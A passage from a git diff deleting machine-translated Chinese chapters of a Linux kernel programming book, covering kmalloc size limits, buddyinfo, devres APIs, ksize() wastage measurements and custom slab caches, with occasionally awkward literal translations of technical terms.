kmalloc(size2alloc, GFP_KERNEL); - if (!p) { - pr_alert("kmalloc fail, size2alloc=%zu\n", size2alloc); - return -ENOMEM; - } - pr_info("kmalloc(%7zu) = 0x%pK\n", size2alloc, p); - kfree(p); - size2alloc += stepsz; - } - return 0; -} -``` - -By the way, notice how our `printk()` function uses the `%zu` format specifier for the `size_t` (essentially an unsigned integer) variable? `%zu` is a portability aid; it makes the variable format correct for both 32- and 64-bit systems! - -让我们构建(在主机上交叉编译)并在运行我们定制的 5.4.51-v7+内核的树莓 Pi 设备上插入这个内核模块;几乎立刻,在`insmod(8)`上,你会看到一条错误信息,`Cannot allocate memory`,由`insmod`进程打印;以下截屏显示了这一点: - -![](img/0bffc2c9-9b67-4c11-85ec-dbf90edf6014.png) - -Figure 8.9 – The first insmod(8) of our slab3_maxsize.ko kernel module on a Raspberry Pi 3 running a custom 5.4.51 kernel - -这是意料之中的!想想看,我们的内核模块代码的`init`功能终究还是用`ENOMEM`失败了。不要被这个所迷惑;查找内核日志揭示了实际发生的事情。事实是,在这个内核模块的第一次测试运行中,你会发现在`kmalloc()`失败的地方,内核转储了一些诊断信息,包括一个相当长的内核堆栈跟踪。这是因为它调用了`WARN()`宏。 - -因此,我们的平板内存分配在某种程度上起了作用。要清楚地看到故障点,只需在内核日志(`dmesg`)显示中向下滚动。下面的截图显示了这一点: - -![](img/c71451dc-2f70-4cd0-9ee3-9eecf381b8a5.png) - -Figure 8.10 – Partial screenshot showing the lower part of the dmesg output (of our slab3_maxsize.ko kernel module) on a Raspberry Pi 3 - -啊哈,看看输出的最后一行(图 8.11):`kmalloc()`在 4 MB 以上(420 万字节)的分配上失败,完全符合预期;在那之前,它是成功的。 - -有趣的是,请注意,我们(相当有意识地)执行了循环中第一个大小为`0`的分配;它不会失败: - -* `kmalloc(0, GFP_xxx);`返回零指针;在 x86[_64]上,是数值`16`或`0x10`(详见`include/linux/slab.h`)。实际上,它是一个无效的虚拟地址,位于页面`0` `NULL`指针陷阱中。当然,访问它会导致页面错误(源自 MMU)。 -* 同样,尝试零指针的`kfree(NULL);`或`kfree()`会导致`kfree()`成为无操作 - -不过,请稍等——需要注意的一个极其重要的点是:在*kmalloc*部分中,我们看到了用于向调用者分配内存的 slab 缓存是`kmalloc-n` slab 缓存,其中`n`的范围从`64`到`8192`字节(在树莓 Pi 上,因此在本讨论中是 ARM)。另外,仅供参考,您可以快速执行`sudo vmstat -m | grep -v "\-rcl\-" | grep --color=auto "^kmalloc"`来验证这一点。 - -但是很明显,在前面的内核模块代码示例中,我们通过`kmalloc()`分配了大量内存(从 0 字节到 4 MB)。它真正的工作方式是`kmalloc()`应用编程接口仅使用`kmalloc-'n'`平板缓存进行小于或等于 8,192 字节(如果可用)的内存分配;对更大内存块的任何分配请求都被传递给底层页面(或伙伴系统)分配器!现在,回想一下我们在上一章中所学的内容:页面分配器使用好友系统自由列表(基于每个*节点:区域*)*和*自由列表上排队的内存块的最大大小是*2(MAX _ ORDER-1)= 210**页面*,当然是 4 MB(给定 4 KB 的页面大小和`11`的`MAX_ORDER`)。这与我们的理论讨论完全一致。 - -所以,我们有了:在理论和实践中,你现在可以看到(同样,给定 4 KB 的页面大小和`11`的`MAX_ORDER`,通过对`kmalloc()`(或`kzalloc()`)的一次调用可以分配的最大内存大小是 4 MB。 - -### 通过/proc/buddyinfo 伪文件进行检查 - -意识到这一点真的很重要,尽管我们发现 4 MB 的内存是我们一次能得到的最大值,但这绝对不意味着你会一直得到那么多。不,当然不是。它完全取决于内存请求时特定空闲列表中的空闲内存量。想想看:如果你运行在一个运行了几天(或几周)的 Linux 系统上,会怎么样。找到物理上连续的 4 MB 空闲内存块的可能性非常低(同样,这取决于系统上的内存量及其工作负载)。 - -根据经验,如果前面的实验没有产生我们认为的最大大小(即 4 MB)的最大分配,为什么不在新启动的来宾系统上尝试呢?现在,拥有物理上连续的 4 MB 空闲内存块的机会要大得多。不确定吗?让我们再次获得经验,并在使用中和新启动的系统上查找`/proc/buddyinfo`的内容,以确定内存块是否可用。在下面的代码片段中,在我们正在使用的 x86_64 Ubuntu 客户机系统上,只有 1 GB 的内存,我们查找它: - -```sh -$ cat /proc/buddyinfo -Node 0, zone DMA 225 154 46 30 14 9 1 1 0 0 0 -Node 0, zone DMA32 314 861 326 291 138 50 27 2 5 0 0 - order ---> 0 1 2 3 4 5 6 7 8 9 10 -``` - -正如我们之前了解到的(在*自由列表组织*部分),在前面的代码块中看到的数字按照顺序`0`到`MAX_ORDER-1`(通常, *0* 到*11–1 = 10*)排列,并且它们以该顺序表示 *2 顺序* 连续自由页面帧的数量。 - -在前面的输出中,我们可以看到我们做的*不是*在订单`10`列表上有空闲块(也就是 4 MB 的块;它是零)。在新启动的 Linux 系统上,我们很有可能会这样做。在以下输出中,在刚刚重新启动的同一系统上,我们看到在节点`0`的区域 DMA32 中有七个物理上连续的 4 MB 可用内存块: - -```sh -$ cat /proc/buddyinfo -Node 0, zone DMA 10 2 2 3 3 3 3 2 2 0 0 -Node 0, zone DMA32 276 143 349 189 99 3 6 3 6 4 7 - order ---> 0 1 2 3 4 5 6 7 8 9 10 -``` - -重申这一点,在树莓皮已经上升了大约半个小时,我们有以下内容: - -```sh -rpi ~/ $ cat /proc/buddyinfo -Node 0, zone Normal 82 32 11 6 5 3 3 3 4 4 160 -``` - -这里有 160 个 4 兆物理连续内存块可用(空闲)。 - -当然,还有更多要探索的。在下一节中,我们将介绍更多关于使用 slab 分配器的内容——资源管理的 API 替代方案、其他可用的 slab 助手 API,以及关于现代 Linux 内核中的 cgroups 和内存的说明。 - -# 平板分配器——一些附加细节 - -还有几个关键点有待探索。首先,一些关于使用内核的内存分配器 API 的资源管理版本的信息,接下来是内核中一些额外可用的 slab 助手例程,然后是对 cgroups 和内存的简单介绍。我们绝对建议您也浏览这些部分。请继续读下去! - -## 使用内核的资源管理内存分配 API - -对于设备驱动程序特别有用,内核为内存分配提供了一些托管 API。这些被正式称为设备资源管理或 devres APIs(这方面的内核文档链接是[https://www . kernel . org/doc/Documentation/driver-model/devres . txt](https://www.kernel.org/doc/Documentation/driver-model/devres.txt))。都以`devm_`为前缀;虽然其中有几个,但我们在这里只关注一个常见的用例——用这些 API 代替通常的`k[m|z]alloc()`API。它们如下: - -* `void * devm_kmalloc(struct device *dev, size_t size, gfp_t gfp);` -* `void * devm_kzalloc(struct device *dev, size_t size, gfp_t gfp);` - -这些资源管理的 API 之所以有用,是因为开发者不需要显式释放它们分配的内存。内核资源管理框架保证,当驱动程序分离时,或者如果内核模块被移除(或者设备被分离,以先发生的为准),它将自动释放内存缓冲区。这个特性立即增强了代码的健壮性。为什么呢?很简单,我们都是人,都会犯错。泄漏内存(尤其是在错误代码路径上)确实是一个非常常见的错误! - -与这些 API 的使用相关的几点: - -* 一个关键点——请不要试图盲目用对应的`devm_k[m|z]alloc()`替换`k[m|z]alloc()`!这些资源管理的分配实际上被设计为仅在设备驱动程序的`init`和/或`probe()`方法中使用(所有使用内核统一设备模型的驱动程序通常会提供`probe()`和`remove()`(或`disconnect()`)方法)。我们这里就不深究这些方面了)。 -* `devm_kzalloc()`通常是优选的,因为它也初始化缓冲区。在内部(就像`kzalloc()`一样),它只是`devm_kmalloc()`应用编程接口的一个薄薄的包装。 -* 第二个和第三个参数是常见的,就像`k[m|z]alloc()`API 一样——要分配的字节数和要使用的 GFP 标志。第一个参数是`struct device`的指针。很明显,它代表您的驾驶员正在驾驶的*设备*。 -* 由于这些 API 分配的内存是自动释放的(在驱动程序分离或模块移除时),您不必做任何事情。不过,它可以通过`devm_kfree()`应用编程接口释放。但是,您这样做通常表明托管 API 是错误的... -* 许可:被管理的应用编程接口只被导出(因此是可用的)到 GPL 许可的模块(除了其他可能的许可)。 - -## 其他平板辅助应用接口 - -有几个助手平板分配器 API,`k[m|z]alloc()` API 家族的朋友。其中包括为数组分配内存的`kcalloc()`和`kmalloc_array()`应用编程接口,以及`krealloc()`,其行为类似于熟悉的用户空间应用编程接口`realloc(3)`。 - -结合为元素数组分配内存,`array_size()`和`struct_size()`内核助手例程会非常有帮助。特别是,`struct_size()`在分配结构数组时被大量用于防止(实际上是修复)许多整数溢出(和相关)错误,这确实是一个常见的任务。作为一个快速的例子,这里有一个来自`net/bluetooth/mgmt.c`的小代码片段: - -```sh -rp = kmalloc(struct_size(rp, addr, i), GFP_KERNEL); - if (!rp) { - err = -ENOMEM; [...] -``` - -值得浏览一下`include/linux/overflow.h`内核头文件。 - -`kzfree()`类似于`kfree()`,但将正在释放的(可能更大的)内存区域清零。(为什么更大?这将在下一节中解释。)请注意,这被认为是一种安全措施,但可能会影响性能。 - -这些 API 的资源管理版本也是可用的:`devm_kcalloc()`和`devm_kmalloc_array()`。 - -## 对照组和记忆 - -Linux 内核支持一个非常复杂的资源管理系统,称为**cggroups**(**控制组**),简单来说,用于分层组织进程和执行资源管理(有关 cggroups 的更多信息,以及 cgroups v2 CPU 控制器使用的示例,可在[第 11 章](11.html)、*CPU 调度程序-第 2 部分*,关于 CPU 调度)中找到)。 - -在几个资源控制器中,有一个用于内存带宽。通过仔细配置,sysadmin 可以有效地调节系统上的内存分配。内存保护是可能的,通过某些`memcg`(内存组)伪文件(特别是`memory.min`和`memory.low`文件)进行硬保护和尽力保护。以类似的方式,在 cggroup 中,`memory.high`和`memory.max`伪文件是控制 cggroup 内存使用的主要机制。当然,由于它的内容比这里提到的要多得多,我在这里建议您参考关于新 cgroups (v2)的内核文档:[https://www . kernel . org/doc/html/latest/admin-guide/cgroup-v2 . html](https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html)。 - -好了,现在你已经学会了如何更好地使用 slab 分配器 API,让我们再深入一点。现实情况是,关于由 slab 分配器 API 分配的内存块的大小,仍然有一些重要的警告。一定要读下去,找出它们是什么! - -# 使用平板分配器时的注意事项 - -我们将把这次讨论分成三个部分。我们将首先重新检查一些必要的背景(我们之前已经介绍过),然后用两个用例来充实问题——第一个非常简单,第二个是手头问题的更真实的案例。 - -## 背景细节和结论 - -到目前为止,您已经了解了一些关键点: - -* *页面*(或*好友系统* ) *分配器*将 2 页的力量分配给呼叫者。将 2 升至的功率称为*指令*;它的范围通常从`0`到`10`(在 x86[_64]和 ARM 上)。 -* 这很好,除非不是。当请求的内存量很小时,*浪费*(或内部碎片)会很大。 -* 对页面片段(小于 4,096 字节)的请求非常常见。因此,分层在页面分配器上的*平板分配器(见图 8.1)设计有对象缓存和小型通用内存缓存,以有效地满足对少量内存的请求。* -* 页面分配器保证物理上连续的页面和缓存行对齐的内存。 -* slab 分配器保证物理上连续和缓存行对齐的内存。 - -太棒了——这让我们得出结论,当需要的内存量很大,并且是 2 的完美(或接近)次方时,使用页面分配器。当它非常小(不到一页)时,使用 slab 分配器。事实上,`kmalloc()`的内核源代码有一个注释,简洁地总结了`kmalloc()`应用编程接口应该如何使用(以粗体显示如下): - -```sh -// include/linux/slab.h -[...] - * kmalloc - allocate memory - * @size: how many bytes of memory are required. - * @flags: the type of memory to allocate. - * kmalloc is the normal method of allocating memory - * for objects smaller than page size in the kernel. -``` - -听起来很棒,但还是有问题!要看到它,让我们学习如何使用另一个有用的平板 API,`ksize()`。其签名如下: - -```sh -size_t ksize(const void *); -``` - -`ksize()`的参数是指向现有板缓存的指针(它必须是有效的)。换句话说,它是来自一个 slab 分配器 API(通常是`k[m|z]alloc()`)的返回地址。返回值是实际分配的字节数。 - -好了,现在你知道`ksize()`是干什么用的了,让我们用更实用的方式来使用它,先用一个简单的用例,再用一个更好的用例! - -## 使用 ksize()测试板分配–案例 1 - -为了理解我们的意思,考虑一个小例子(为了可读性,我们将不显示必要的有效性检查。此外,由于这是一个很小的代码片段,我们没有在本书的代码库中将其作为内核模块提供): - -```sh -struct mysmallctx { - int tx, rx; - char passwd[8], config[4]; -} *ctx; - -pr_info("sizeof struct mysmallctx = %zd bytes\n", sizeof(struct mysmallctx)); -ctx = kzalloc(sizeof(struct mysmallctx), GFP_KERNEL); -pr_info("(context structure allocated and initialized to zero)\n" - "*actual* size allocated = %zu bytes\n", ksize(ctx)); -``` - -我的 x86_64 Ubuntu 客户机系统上的结果输出如下: - -```sh -$ dmesg -[...] -sizeof struct mysmallctx = 20 bytes -(context structure allocated and initialized to zero) -*actual* size allocated = 32 bytes -``` - -因此,我们试图用`kzalloc()`分配 20 个字节,但实际上获得了 32 个字节(因此浪费了 12 个字节,即 60%!).这是意料之中的。回想一下`kmalloc-n`平板缓存——在 x86 上,有一个用于 16 字节,另一个用于 32 字节(以及其他许多字节)。所以,当我们要求介于两者之间的量时,我们显然从两者中的较高者获得记忆。(顺便说一下,仅供参考,在我们基于 ARM 的树莓 Pi 系统上,`kmalloc`的最小平板缓存是 64 字节,所以,当然,当我们要求 20 字节时,我们会得到 64 字节。) - -Note that the `ksize()` API works only on allocated slab memory; you cannot use it on the return value from any of the page allocator APIs (which we saw in the *Understanding and u**sing the kernel page allocator (or BSA)* section). - -现在是第二个,也是更有趣的,用例。 - -## 使用 ksize()测试板分配–案例 2 - -好了,现在我们把之前的内核模块(`ch8/slab3_maxsize`)扩展到`ch8/slab4_actualsize`。在这里,我们将执行相同的循环,使用`kmalloc()`分配内存,并像以前一样释放内存,但这一次,我们还将通过调用`ksize()`应用编程接口,记录平板层在每次循环迭代中分配给我们的实际内存量: - -```sh -// ch8/slab4_actualsize/slab4_actualsize.c -static int test_maxallocsz(void) -{ - size_t size2alloc = 100, actual_alloced; - void *p; - - pr_info("kmalloc( n) : Actual : Wastage : Waste %%\n"); - while (1) { - p = kmalloc(size2alloc, GFP_KERNEL); - if (!p) { - pr_alert("kmalloc fail, size2alloc=%zu\n", size2alloc); - return -ENOMEM; - } - actual_alloced = ksize(p); - /* Print the size2alloc, the amount actually allocated, - * the delta between the two, and the percentage of waste - * (integer arithmetic, of course :-) */ - pr_info("kmalloc(%7zu) : %7zu : %7zu : %3zu%%\n", - size2alloc, actual_alloced, (actual_alloced-size2alloc), - (((actual_alloced-size2alloc)*100)/size2alloc)); kfree(p); - size2alloc += stepsz; - } - return 0; -} -``` - -这个内核模块的输出扫描起来确实很有意思!在下图中,我们显示了我在运行我们定制的 5.4.0 内核的 x86_64 Ubuntu 18.04 LTS 客户机上获得的部分输出截图: - -![](img/7e3a9dfe-f703-40df-ad41-cb0d667a54b9.png) - -Figure 8.11 – Partial screenshot of our slab4_actualsize.ko kernel module in action - -在前面的截图中可以清楚地看到模块的 printk 输出。屏幕的其余部分是来自内核的诊断信息——这是在内核空间内存分配请求失败时发出的。所有这些内核诊断信息都是第一次调用内核调用`WARN_ONCE()`宏的结果,作为底层页面分配器代码,`mm/page_alloc.c:__alloc_pages_nodemask()`——众所周知的伙伴系统分配器的“心脏”——失败了!这通常不应该发生,因此诊断(关于内核诊断的细节超出了本书的范围,所以我们将把它放在一边。话虽如此,在接下来的章节中,我们将在一定程度上研究内核堆栈回溯)。 - -### 解释案例 2 的输出 - -仔细看前面的截图(图 8.12;在这里,我们将简单地忽略`WARN()`宏发出的内核诊断,它被调用是因为内核级内存分配失败!).图 8.12 的输出有五列,如下所示: - -* 从`dmesg(1)`开始的时间戳;我们忽略它。 -* `kmalloc(n)`:由`kmalloc()`请求的字节数(其中`n`为所需数量)。 -* 平板分配器分配的实际字节数(通过`ksize()`显示)。 -* 浪费(字节):实际字节和所需字节之间的差异。 -* 以百分比表示的浪费。 - -例如,在第二次分配中,我们请求了 200,100 字节,但实际获得了 262,144 字节(256 KB)。这是有道理的,因为这是好友系统自由列表中一个页面分配器列表的精确大小(它是*顺序 6* ,作为 *2 6 = 64 页= 64×4 = 256 KB*;见*图 8.2* 。因此,增量,或真正的浪费,是 *262,144 - 200,100 = 62,044 字节*,当以百分比表示时,是 31%。 - -它是这样的:请求的(或要求的)大小越接近内核的可用(或实际)大小,浪费就越少;反之亦然。让我们看看前面输出中的另一个例子(为了清楚起见,剪切后的输出如下所示): - -```sh -[...] -[92.273695] kmalloc(1600100) : 2097152 : 497052 : 31% -[92.274337] kmalloc(1800100) : 2097152 : 297052 : 16% -[92.275292] kmalloc(2000100) : 2097152 : 97052 : 4% -[92.276297] kmalloc(2200100) : 4194304 : 1994204 : 90% -[92.277015] kmalloc(2400100) : 4194304 : 1794204 : 74% -[92.277698] kmalloc(2600100) : 4194304 : 1594204 : 61% -[...] -``` - -从前面的输出可以看到`kmalloc()`请求 1,600,100 字节(约 1.5 MB)时,实际得到 2,097,152 字节(正好 2 MB),浪费 31%。当我们越来越接近分配“边界”或阈值(内核的片缓存或页面分配器内存块的实际大小)时,浪费就会逐渐减少:减少到 16%,然后减少到 4%。但是看:下一次分配,当我们跨过那个门槛,要求*刚刚超过*2mb(2200100 字节),我们实际上得到 4 MB,*浪费了 90%* !然后,随着我们越来越接近 4 MB 的内存大小,浪费再次下降... - -这很重要!您可能认为仅仅使用 slab 分配器 API 就非常高效,但实际上,当请求的内存量超过 slab 层可以提供的最大容量(通常为 8 KB,这在我们之前的实验中经常出现)时,slab 层会调用页面分配器。因此,页面分配器,遭受其通常的浪费问题,最终分配的内存远远超过你实际需要的,或者实际上从未使用过的。真是浪费! - -寓意:*用平板 API*检查并重新检查分配内存的代码。使用`ksize()`对其进行测试,以计算实际分配了多少内存,而不是您认为分配了多少。 - -没有捷径。嗯,有一个:如果你需要少于一页的内存(一个非常典型的用例),就使用 slab APIs。如果你需要更多,前面的讨论就开始了。另一件事:使用`alloc_pages_exact() / free_pages_exact()`API(包含在*One Solution-确切的页面分配器 API*部分)也有助于减少浪费。 - -### 绘制它 - -有趣的是,我们使用众所周知的`gnuplot(1)`工具根据之前收集的数据绘制一个图表。实际上,我们必须最小化地修改内核模块,只输出我们想要的图形:需要(或请求)分配的内存量( *x* 轴)和运行时实际发生的浪费百分比( *y* 轴)。你可以在本书的 GitHub 资源库中找到我们稍微修改过的内核模块的代码:这里:`ch8/slab4_actualsz_wstg_plot`([https://GitHub . com/packt publishing/Linux-Kernel-Programming/tree/master/ch8/SLA B4 _ actualsize](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/ch8/slab4_actualsize))。 - -因此,我们构建并插入这个内核模块,“按摩”内核日志,按照`gnuplot`的要求以适当的列格式保存数据(在名为`2plotdata.txt`的文件中)。虽然我们不打算在这里深究使用`gnuplot(1)`的复杂性(参考*进一步阅读*部分以获得教程链接),但是在下面的代码片段中,我们展示了生成我们的图的基本命令: - -```sh -gnuplot> set title "Slab/Page Allocator: Requested vs Actually allocated size Wastage in Percent" -gnuplot> set xlabel "Required size" -gnuplot> set ylabel "%age Waste" -gnuplot> plot "2plotdata.txt" using 1:100 title "Required Size" with points, "2plotdata.txt" title "Wastage %age" with linespoints -gnuplot> -``` - -瞧吧,情节是这样的: - -![](img/73266f0c-19af-4a1f-8ed0-99981904a38d.png) - -Figure 8.12 – A graph showing the size requested by kmalloc() (x axis) versus the wastage incurred (as a percentage; y axis) - -这个“锯齿”形状的图表有助于将你刚刚学到的东西形象化。一个`kmalloc()`(或`kzalloc()`,或实际上*任何*页面分配器应用编程接口)分配请求的大小越接近内核预定义的自由列表大小,浪费就越少。但是一旦越过了这个阈值,损耗就会放大(峰值)到接近 100%(正如上图中的垂直线所示)。 - -至此,我们已经涵盖了大量内容。不过,和往常一样,我们还没有完成:下一节将非常简要地强调内核中实际的 slab 层实现(是的,有几个)。让我们来看看! - -## 内核中的平板层实现 - -最后,我们提到这样一个事实:至少有三种不同的互斥的 slab 分配器内核级实现;运行时只能使用其中一个。运行时使用的是在*配置*内核时选择的(您在[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*中详细学习了此过程)。相关的内核配置选项如下: - -* `CONFIG_SLAB` -* `CONFIG_SLUB` -* `CONFIG_SLOB` - -第一个(`SLAB`)是早期的,支持度很高(但优化度相当低)的一个;第二个(`SLUB` *,未引用的分配器*)是对第一个的重大改进,在内存效率、性能和更好的诊断方面,是默认选择的那个。`SLOB`分配器是一个彻底的简化,根据内核配置帮助,“在大型系统上表现不佳。” - -# 摘要 - -在本章中,您详细了解了页面(或好友系统)以及平板分配器的工作原理。回想一下,在内核中分配(并释放)内存的实际“引擎”最终是*页面(或伙伴系统)分配器*、,平板分配器分层在其之上,为典型的小于一页大小的分配请求提供优化,并高效地分配几个众所周知的内核数据结构(“对象”)。 - -您学习了如何有效地使用页面分配器和平板分配器公开的 API,并通过几个演示内核模块来帮助以实践的方式展示这一点。很大一部分注意力(非常正确地)放在了开发人员为某个 *N* 字节数发出内存请求的实际问题上,但是您了解到它可能是非常次优的,内核实际上分配了更多(浪费可能攀升至非常接近 100%)!您现在知道如何检查和减轻这些情况。干得好! - -下一章将详细介绍最优分配策略,以及一些更高级的内核内存分配主题,包括使用`vmalloc`接口创建定制的平板缓存、 *OOM 杀手*的全部内容等等。因此,首先确保您已经理解了本章的内容,并且已经完成了内核模块和任务(如下所示)。那么,让我们带你去下一个! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。******* \ No newline at end of file diff --git a/docs/linux-kernel-prog/09.md b/docs/linux-kernel-prog/09.md deleted file mode 100644 index 616f2803..00000000 --- a/docs/linux-kernel-prog/09.md +++ /dev/null @@ -1,1159 +0,0 @@ -# 九、面向模块作者的内核内存分配——第二部分 - -前一章讲述了基础知识(还有更多!)通过内核中的页面(BSA)和平板分配器使用可用的 API 进行内存分配。在这一章中,我们将深入探讨这个大而有趣的话题。我们介绍了自定义平板缓存的创建,`vmalloc`接口,非常重要的是,考虑到丰富的选择,在何种情况下使用哪些 API。关于可怕的**内存不足** ( **OOM** )杀手的内部内核细节,并要求分页帮助完成这些重要的主题。 - -当使用内核模块,尤其是设备驱动程序时,这些领域往往是需要理解的关键方面之一。一个 Linux 系统项目突然崩溃,控制台上只有一条`Killed`消息,需要一些解释,是的!?OOM 杀手是幕后黑手... - -简而言之,本章涵盖了以下主要方面: - -* 创建自定义板缓存 -* 在板层调试 -* 理解和使用内核 vmalloc() -* 内核中的内存分配–什么时候使用哪些 API -* 活着 OOM 杀手 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾 VM,并且安装了所有需要的软件包。如果没有,我强烈建议你先做这个。 - -还有,这一章的最后一节有没有故意运行一个*非常*内存密集型的 app 如此密集,内核会采取一些激烈的行动!显然,我强烈建议您在一个安全、隔离的系统上尝试这样的东西,最好是一个 Linux 测试虚拟机(上面没有重要数据)。 - -为了充分利用这本书,我强烈建议您首先设置工作区 -环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。GitHub 资源库可以在[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)找到。 - -# 创建自定义板缓存 - -正如上一章详细解释的,平板缓存背后的一个关键设计概念是对象缓存的强大思想。通过缓存经常使用的对象(实际上是数据结构),性能得到了提升。所以,想想看:如果我们正在编写一个驱动程序,并且在那个驱动程序中,某个数据结构(一个对象)被频繁地分配和释放,会怎么样?通常,我们会使用通常的`kzalloc()`(或`kmalloc()`)后跟`kfree()`API 来分配和释放这个对象。不过好消息是:Linux 内核充分地向我们展示了作为模块作者的 slab 层 API,允许我们创建自己的定制 slab 缓存。在本节中,您将了解如何利用这一强大的功能。 - -## 在内核模块中创建和使用定制的平板缓存 - -在本节中,我们将创建、使用并随后销毁一个自定义的 slab 缓存。大体上,我们将执行以下步骤: - -1. 使用`kmem_cache_create()`应用编程接口创建给定大小的自定义切片缓存。这通常作为内核模块初始化代码路径的一部分来完成(或者在驱动程序中的探测方法中)。 -2. 使用平板缓存。在这里,我们将执行以下操作: - 1. 发出`kmem_cache_alloc()`应用编程接口,在您的板缓存中分配自定义对象的单个实例。 - 2. 使用对象。 - 3. 用`kmem_cache_free()` API 将其释放回缓存。 - -3. 使用`kmem_cache_destroy()`完成后,销毁自定义平板缓存。这通常作为内核模块清理代码路径的一部分来完成(或者在驱动程序中的移除/分离/断开方法中)。 - -让我们详细探讨一下这些 API。我们从创建一个自定义(平板)缓存开始。 - -### 创建自定义板缓存 - -首先,当然,让我们学习如何创建自定义平板缓存。`kmem_cache_create()`内核 API 的签名如下: - -```sh -#include -struct kmem_cache *kmem_cache_create(const char *name, unsigned int size, - unsigned int align, slab_flags_t flags, void (*ctor)(void *)); -``` - -第一个参数是缓存的名称,这将由`proc`(以及`proc`上的其他包装实用程序,如`vmstat(8)`、`slabtop(1)`等)显示。它通常与被缓存的数据结构或对象的名称相匹配(但不是必须的)。 - -第二个参数`size`实际上是关键参数——它是新缓存中每个对象的字节大小。基于这个对象大小(使用最佳匹配算法),内核的平板层构建了一个对象缓存。由于以下三个原因,缓存中每个对象的实际大小将(稍微)大于请求的大小: - -* 第一,我们总能提供比所要求的内存更多的内存,但绝不会少。 -* 第二,需要一些空间来存放元数据(内务信息)。 -* 第三,内核在提供所需大小的缓存方面受到限制。它使用最接近匹配大小的内存(回想一下第 8 章、*模块作者的内核内存分配–第 1 部分*,在*使用 slab 分配器时的注意事项*部分,我们清楚地看到更多(有时很多!)实际上可以使用内存)。 - -Recall from [Chapter 8](08.html), *Kernel Memory Allocation for Module Authors – Part 1*, that the `ksize()` API can be used to query the actual size of the allocated object. There is another API with which we can query the size of the individual objects within the new slab cache: -`unsigned int kmem_cache_size(struct kmem_cache *s);`. You shall see this being used shortly. - -第三个参数`align`是缓存内对象所需的*对齐*。如果不重要,就传为`0`。然而,通常有非常特殊的对齐要求,例如,确保对象与机器上的一个字的大小对齐(32 或 64 位)。为此,将该值作为`sizeof(long)`传递(该参数的单位是字节,而不是位)。 - -第四个参数`flags`可以是`0`(意味着没有特殊行为),也可以是以下标志值的按位或运算符。为清晰起见,我们直接从源文件`mm/slab_common.c`中的注释中复制以下标志的信息: - -```sh -// mm/slab_common.c -[...] - * The flags are - * - * %SLAB_POISON - Poison the slab with a known test pattern (a5a5a5a5) - * to catch references to uninitialized memory. - * - * %SLAB_RED_ZONE - Insert `Red` zones around the allocated memory to check - * for buffer overruns. - * - * %SLAB_HWCACHE_ALIGN - Align the objects in this cache to a hardware - * cacheline. This can be beneficial if you're counting cycles as closely - * as davem. -[...] -``` - -让我们快速查看旗帜: - -* 第一个标志`SLAB_POISON`提供了片中毒,即将高速缓冲存储器初始化为一个先前已知的值(`0xa5a5a5a5`)。这样做可以在调试情况下有所帮助。 -* 第二个标志`SLAB_RED_ZONE`很有趣,它在分配的缓冲区周围插入红色区域(类似于保护页)。这是检查缓冲区溢出错误的常用方法。它几乎总是在调试环境中使用(通常是在开发过程中)。 - -* 第三个可能的标志`SLAB_HWCACHE_ALIGN`非常常用,实际上是为了性能而推荐的。它保证所有高速缓存对象都与硬件(中央处理器)高速缓存行大小一致。这正是通过流行的`k[m|z]alloc()`应用编程接口分配的内存与硬件(中央处理器)缓存行对齐的方式。 - -最后,`kmem_cache_create()`的第五个参数也很有意思:一个函数指针,`void (*ctor)(void *);`。它被建模为构造函数(如面向对象和面向对象语言)。它方便地允许您在分配时从自定义板缓存中初始化板对象!作为内核中这个功能的一个例子,请参见名为`integrity` 的 **Linux 安全模块** ( **LSM** )的代码: - -```sh - security/integrity/iint.c:integrity_iintcache_init() -``` - -它调用以下内容: - -```sh -iint_cache = kmem_cache_create("iint_cache", sizeof(struct integrity_iint_cache), - 0, SLAB_PANIC, init_once); -``` - -`init_once()`函数初始化缓存的对象实例(刚刚分配的)。请记住,每当此缓存分配新页面时,都会调用构造函数。 - -Though it may seem counter-intuitive, the fact is that the modern Linux kernel is quite object-oriented in design terms. The code, of course, is mostly plain old C, a traditional procedural language. Nevertheless, a vast number of architecture implementations within the kernel (the driver model being a big one) are quite object-oriented in design: method dispatch via virtual function pointer tables - the strategy design pattern, and so on. See a two-part article on LWN depicting this in some detail here: *Object-oriented design patterns in the kernel, part 1, June 2011* ([https://lwn.net/Articles/444910/](https://lwn.net/Articles/444910/)). - -`kmem_cache_create()`应用编程接口的返回值是一个指针,成功时指向新创建的自定义平板缓存,失败时指向`NULL`。这个指针通常是全局的,因为您需要访问它才能从它实际分配对象(我们的下一步)。 - -重要的是要理解`kmem_cache_create()` API 只能从流程上下文中调用。相当多的内核代码(包括许多驱动程序)创建并使用自己的定制平板缓存。例如,在 5.4.0 Linux 内核中,调用了超过 350 个这样的应用编程接口实例。 - -好了,现在您有了一个可用的自定义(slab)缓存,您到底如何使用它来分配内存对象?继续读下去;下一节将详细介绍这一点。 - -### 使用新的片缓存的内存 - -好的,我们创建了一个定制的平板缓存。要使用它,必须发布`kmem_cache_alloc()` API。它的工作是:给定指向一个平板缓存的指针(您刚刚创建的),它在该平板缓存上分配一个对象的单个实例(事实上,这就是`k[m|z]alloc()`API 在幕后的工作方式)。它的签名如下(当然,记住始终包括所有基于平板的 API 的``头): - -```sh -void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags); -``` - -让我们看看它的参数: - -* 